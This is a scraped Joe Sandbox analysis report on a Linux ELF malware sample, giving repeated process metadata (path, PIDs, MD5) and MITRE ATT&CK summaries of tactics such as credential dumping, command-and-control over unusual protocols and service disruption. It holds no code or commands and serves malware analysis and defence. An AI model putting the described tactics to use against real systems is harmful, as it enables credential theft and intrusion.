Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Analysis Process: kncYk2tWvH.elf PID: 5439, Parent PID: 5435

General

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Analysis Process: kncYk2tWvH.elf PID: 5440, Parent PID: 5435

General

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Start time (UTC):	14:05:28
Start date (UTC):	04/03/2024
Path:	/tmp/kncYk2tWvH.elf
Arguments:	-
File size:	66320 bytes
MD5 hash:	d37eb83ee9d6340d69af2924529ff6d4

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report kncYk2tWvH.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: kncYk2tWvH.elf PID: 5432, Parent PID: 5354

General

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: kncYk2tWvH.elf PID: 5433, Parent PID: 5432

General

File Activities

File Opened

File Read

Linux Analysis Report
kncYk2tWvH.elf